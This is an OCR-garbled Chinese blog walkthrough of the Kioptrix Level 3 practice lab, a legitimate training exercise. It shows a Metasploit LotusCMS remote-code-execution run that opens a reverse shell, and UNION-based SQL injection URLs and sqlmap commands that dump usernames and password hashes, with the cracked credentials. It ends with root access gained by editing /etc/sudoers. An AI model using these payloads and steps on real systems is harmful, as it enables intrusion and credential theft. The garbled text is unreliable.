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T BB W hosts U
ip kioptrix3.com

windows

C:\Windows\System32\drivers\etc\hosts

linux

/etc/hosts
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netdiscover -i eth® -r 192.168.157.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

195 Captured ARP Req/Rep packets, from 5 hosts.

1.2 nmap#E #ll 35 O

nmap -A -T5 -v 192.168.157.156 -0 port.txt

cat port.txt




# Nmap 7.91 scan initiated Tue Nov 16 18:19:17 2021 as: nmap -A -T5 -v -o port.txt 192.168.157.156
Nmap scan report for 192.168.157.156
Host is up (0.00063s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul.2 (protocol 2.0)
ssh-hostkey:
1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
http-cookie-flags:

PHPSESSID:
httponly flag not set
_http-favicon: Unknown favicon MD5: 99EFC00391F142252888403BB1C196D2
http-methods:
Supported Methods: GET HEAD POST OPTIONS
_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
_http-title: Ligoat Security - Got Goat? Security
MAC Address: ©00:0C:29:9C:BC:D@ (VMware)
Device type: general purpose
Linux 2.6.X
cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 2.6.33
Uptime guess: 0.012 days (since Tue Nov 16 18:02:43 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
il 0.63 ms 192.168.157.156

Read data files from: /usr/bin/../share/nmap

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit
# Nmap done at Tue Nov 16 18:19:25 2021 1 IP address (1 host up) scanned in 8.65 seconds
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22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.9)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
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1D it HTTPORIE
1 http: //ki1optrix3. com/phpmyadmin/ 200

|. 2 http: //kroptrix3, com/phpmyadmin/db_create. php 200
3 http: //kroptrix3, com/index. phy 200
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Ligoat Security

Got Goat? Security ...

Got Goat? Security
We've revamped our website for the new release of the new gallery CMS we made. We are geared towards security.

We are so full of ourselves, we've put this on our dev-servers just to show how serious we are. Visit our blog section for more

information on our new gallery system

Or cut to the chase and see it now!

© 2011 Ligoat Security
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« BE—F, {FEHE x W LotusCMYAdministration x|

thp?system=Admin

DEExs DecFas DEF DwebiEEFERE O IE [ ktsEzx

I

Username:

Password:

. Login

Proudly Powered by: LotusCM5S
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211 1cmsiBFAE &
BRI A exploit-db B & A48k )

searchsploit lotucms

UUE H U RE L)
rootgkali:~/baji/vulhub/KioptrixlLevel3# searchsploit lotuscms

'eval()' Remote Command E | php/remote/18565.rb
.0.3 - Multiple Vulnerabilitie | php/webapps/16982.txt

KIVZFE 7 PAT IR oA 1% R msf
21.1.2 msffH

search lotuscms
use 0

show options



msf5 > search lotuscms

Matching Modules

Disclosure Date
Description

@ exploit/multi/http/lecms_php_exec 2@11-03-03
LotusCcMsS 3.0 eval() Remote Command Execution

vhoami,
msf5 > use @

rhosts 192.168.157.156

uri /index.php?system=Admin

lhost 192.168.157.137

lport 4444

payload generic/shell reverse_tcp

PAF payload #E 7 H

set payload php/reverse_perl

set payload generic/shell_bind_tcp
set payload php/bind_perl

set payload php/reverse_php

msf5 > search lotuscms

Matching Modules

Disclosure Date Rank
Description

@ exploit/multi/http/lcms_php_exec 2011-83-03
LotusCMS 3.0 eval() Remote Command Execution

msf5 > use @

msf5 exploit( set rhosts 192.168.157.156
rhosts = 192.168.157.156

msf5 exploit( set uri /index.php?system=Admin
uri = /index.php?system=Admin

msf5 exploit( set lhost 192.168.157.137

lhost = 192.168.157.137

msf5 exploit( set lport 4444

lport = 4444

msf5 exploit( set payload generic/shell_reverse_
tecp

payload = generic/shell_reverse_tcp

msf5 exploit( ) > run

Started reverse TCP handler on 192.168.157.137:4444

Using found page param: /index.php?page=index

Sending expleoit ...

Command shell session 1 opened (192.168.157.137:4444 — 192.168.157.156
135233) at 2021-11-16 23:33:39 +0800

uid=33(wwmw-data) gid=33(wwmw-data) groups=33(www-data)

@whoami,

Wi i Th BRECE] Pk A AR



www-data

MUV T ar4 B8 E % A4 F X
cat /etc/passwd
cat /etc/shadow

cat /etc/shadow

cat /etc/passwd

root:x:@:@:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/1pd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:108:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www :/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534 :nobody: /nonexistent:/bin/sh

libuuid:x:100:101:: /var/lib/1libuuid:/bin/sh
dhcp:x:101:102 :: /nonexistent:/bin/false
syslog:x:102:103 :: /home/syslog:/bin/false
klog:x:103:104 :: /home/klog: /bin/false

mysql:x:104:188:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534 :: /var/run/sshd: /usr/sbin/nologin
luneferret:x:lﬁﬁﬁ:lﬁﬁ:luneferret,..:/home/loneferret:!bin!basﬁjq[)PJ @whoami
dreg:x:1001:1001:Dreg Gevans,®,555-5566, : /home/dreg: /bin/rbash~ . © 2

pwd
1s -al /home
1s -al /home/loneferret

/home/loneferret
total 64
drwxr-xr-x loneferret loneferret -
drwxr-xr-x root root .
=IW-r—Tr— loneferret users .bash_history
=IW-r—r— loneferret loneferret .bash_logout
=IW-I—Tr— loneferret loneferret .bashrc
root root .nano_history
loneferret loneferret .profile
loneferret loneferret .5sh
loneferret loneferret .sudo_as_admin_successful
root root CompanyPolicy.README
=TWXTWXI=X root root checksec.sh

i CSDN @whoami,

cat /home/loneferret/CompanyPolicy.README

cat /home/loneferret/CompanyPolicy.README

Hello new employee,

It is company policy here to use Hur newly installed software for editing, creating and viewing files.
Please use the commarnd "sudo ht'.

Failure to do so will vesuli i you immediate termination.
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Ligoat Security

Got Goat? Security
We've revamped our website for the new release of the new gallery CMS we made. We are geared towards se

We are so full of ourselves, we've put this on our dev-servers just to show how serious we are. Visit our blog s¢

information on our new gallery system

Or cut to the chase ajd see it
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Ligoat Press Room

See how we are doing in the news! This
collection of wild pictures, good times and
to make money atits/best)/ VWO,

Self-Explanotory
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http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos

idZ 5 Ak I 1REE A FEsqRENIRTR

O 8 kioptrix3.com/gallery/gallery.php?id=1'&sort=photoid#photos 2R N O
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Quick Links: Home RecentPhotos

[You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " order
by parentid,sort,name' at line 1Could not select category

WIEMREE WA B dS TR

http://kioptrix3.com//gallery/gallery.php?id=1 order by 10 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 5 --+ &sort=photoid#photos

http://kioptrix3.com//gallery/gallery.php?id=1 order by 6 --+ &sort=photoid#photos
http://kioptrix3.com//gallery/gallery.php?id=1 order by 7 --+ &sort=photoid#photos

Hr N 651

http://kioptrix3.com/gallery/gallery.php?i i select 1,2,3,4,5,6 --+ &sort=photoid#photos

5] & fir B AE 213

u“l Uﬂur.{ SECURITY ....

Quick Links: Home RecentPhotos

Sub Gallery Last Upload Photos
2 Photo Shoot 3 27
3

New icturnr new book

Empty Gallery

Mo photos have been uploaded. Go back.




bR PE

http://kioptrix3.com//gallery/gallery.php?id=-1 union select 1,database(),user(),4,5,6 --+ &sort=photoid#photos

gallery

root@localhost

R

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information
schema.tables where table schema=database()--+ &sort=photoid#photos 3

Sub Gallery Last Upload Photos

dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users Photo Shoot 3| 27

3
0 =58 #Ha DESE NIz (datmss Qur Orns Be f Teeis 88 ames @ Hacksar & Hacklools 02 [ -
sryption ~  Encoding~ SQL ~ XSS~  Other ~ Contribute now! HackBar vz
§ Load URL http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()—-+ &sort=photoid#photos 3 A
| Split URL \/
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http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group concat(column_name),3,4,5,6 from information

schema.columns where table name='gallarific_users'--+ &sort=photoid#photos 3




Sub Gallary. Last Upload

usefid,username,password,jusertype, firstname,lastname,email,datejoined,website, issuperuser,photo,joincode Photo Shoot

»® O=== gele DEtE NRE (IamsEs QOum Ons Bk § TRSHRE 3 UEes @ HackBar & HackTools @2 [) - >
Encryption ~  Encoding ~ SQL v XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table name='gallarific_users'—+ &sort=photoid#photos

i split URL CSDN @whoarmi,

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_name=‘dev_accounts’'—+ &sort=photoid#photos 3

Quick Links: Home RecentPhotos

Sub Gallery Last Upload Photos Views
id,username,password Photo Shoot 3 21
3
wilz DEgE NRs Oames QOw Onrr Bek 7 TRswe 8 0885 @ HackBar & Hacklools
Encoding~ SQL ~ XSS~ Other ~ Contribute

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='dev_accounts'--+ &sort=photoid#photos 3

W 5 5 7

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(username,@x7e,password),3,4,5,6 from

gallarific_users --+ &sort=photoid#photos 3

Quick Links: Home Hecent Photos

Sub Gallery Last Upload Photos
admin~n0t7t1k4 Photo Shoot 3 27
3
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Encoding~ SQL~ XSS~ Other~

L

A

admin
nOt7t1k4

http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(username,@x7e,password),3,4,5,6 from

dev_accounts--+ &sort=photoid#photos 3




Sub Gallery Last Upload Photos

dreg~0d3eccfb887aabd50f243b3f155c0f85,loneferret~5badcaf789d3d1d09794d8f021f40f0e Photo Shoot
3

P Dt Dt NEs (Jesses O Tae B e o T 3 0E8s @ HackBar & HackTools

» Encoding~ SQL~ XSS~ Other~

L liKioptrix3. php?id=-1 union select 1, X usemame,0x7e password),3,4,5,6 from dev_accounts—+ &sort=

dreg~0d3eccfb887aabd50f243b3f155c0f85
loneferret~5badcaf789d3d1d09794d8f021f40f0e

MD5f# %
dreg Mast3r
loneferret starwars

E8FR B3 B4R linux R 2RI IK 5 35S
¥ H sqlmap

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos"” --dbms-mysql
"http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs
"http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T gallarific_users -

-columns

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T gallarific_users -

C 'username,password' --dump

WAy S 3

LEMS . 1y o)

] [INFO] fetching entries of column(s) '“password™, us
.Database: gallery
Table: gallarific_users
[1 entry]

Fmm e ——— Fmm e ———— +

| username | password |
Fm—mmmm - Hmmmmmmmmm -
| admin | net7tiks

et Hmmmmmmmmm e -
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TX errors © dropped @ overruns @ carrier @ collisions @

rootgkali:~# ssh loneferretgl92.168.157.156

The authenticity of host '192.168.157.156 (192.168.157.156)' can't be established.
RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.157.156' (RSA) to the list of known hosts.
loneferret@l92.168.157.156"'s password:

Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the

individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

Last login: Sat Apr 16 ©8:51:58 2011 from 192.168.1.106

loneferret@Kioptrix3:~$ id

uid=100@(loneferret) gid=10@(users) groups=100(users)

loneferretaKioptrix3:~$ |J @whoami

0x03 $# 4
HR4E 0 R EI R

cat CompanyPolicy.README

Hello employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command

Failure to do so will result in you immediate termination.

3.1 145 238 =75 B R
B -

it 48 22 3% 4> Ftrooth PR « T SR 4 %8 /etc/sudoers, 1E B % loneiX N F P Hisudo -l AR B i bin/bash, T] BLE # £ rootf
shell T .

htiZf7 2 AT ERE T, #iAexport TERM=xterm
J& TR w4 34T I 20847

fTFFsudoers, FER A X INT A/binbashid 4
#AT

Wt



loneferret@Kioptrix3:~$ sudo ht

Error opening terminal: xterm-256color.

google &% 5 &

TEREEIRE M TB(nE.
’I 3 %Etﬁﬁﬁ xterm ’Hi% xterm-256color

export TERM=xterm

BT RIRE

export TERMINFO=/etc/terminfo
export TERM=linux

"CAMN @whnErmi
CS5DMN @wnoarni,

echo $TERM
export TERM=xterm
echo $TERM

loneferretaKioptrix3:~$% sudo ht

Error opening terminal: xterm-256color.
loneferretaKioptrix3:~% echo $TERM
xterm-256color

loneferretakKioptrix3:~% export TERM=xterm
loneferretaKioptrix3:~% echo $TERM

xterm

JE BT

File Edit Windows Help
[+]
ht 2.9.18 (POSIX) ©7:26:02 on Apr 16 2011
(c) 1999-2004 Stefan Weyergraf
(c) 1999-2999 Sebastian Biallas <sb@biallas.net>
= ht
config = /home/loneferret/.htcfg2

CSDN @whoami,

¥ F3
L%
ALT+W R F R« « | [ %

R A



File Edit Windows Help

—Lx] log window
ht 2.0.18 (POSIX) 87:26:02 on Apr 16 2011

(c) 1999-2004 Stefan Weyergraf

(c) 1999-2009 Sebastian Biallas <sbabiallas.net>

appname = ht

config = /home/loneferret/.htcfg2

I Ietclsudoers!

dr-xr-xrux

[ [-Mautodetect

CSDNI@whoan.

HEE
1E/etc/sudoers A YT 4D FEroothF A 4y 4 i loneferretiik /.

File Edit Windows Help Texteditor

[ ] /etc/sudoers
# /etc/sudoers

#

# This file MUST be edited with the 'visudo' command as root.

#

# See the man page for details on how to write a sudoers file.

#

Defaults env_reset

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification

root ALL=(ALL) ALL

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/hi §CYE]L
# Uncomment to allow members of group sudo to not need a password
# (Note that later entries override this, so you might need to move
# it further down)

# %sudo ALL=NOPASSWD: ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

CSDN @whoami,




Edit Windows Help Texteditor

New ...
Open ... F3

Save As ...

Open/Create project ...

fMnse nrniart

{5 F rootA fR

sudo /bin/sh
id

loneferretaKioptrix3:~$ sudo /bin/sh
# id
uid=8(root) gid=@(root) groups=@(root)

BRI
B4

145 B K IR FF B T 227/180% K

2.5 iH80% 1 TR KI — &b B b FFAE sqliE N RERBIHE FE Bkt

3.8 — 4 loginkk fFFH T lotuscms B B B FIZREL M4 BR fshell

4. 2M3%E RI RABEFNK S HHEN.

5.sshBFf5, KM —ASCHRR, htgmiEas B rooth R, 7T LUF A H #4734

hté 48 32 4% 4> Bt roothU fR « 11 SR 448 fetc/sudoers, 7E BT 5 loneiX AN P fsudo - AR B NN binbash, 7] LA B B & rootf
shell T .

hiZfF 2 FTERE T, #iA\export TERM=xterm
R TRt 24 33T RIEFE
¥ Fsudoers, 7EF P HX 0T AN/binbashig 4

BT NARNSSE

https://blog.csdn.net/zhangge3663/article/details/113879113
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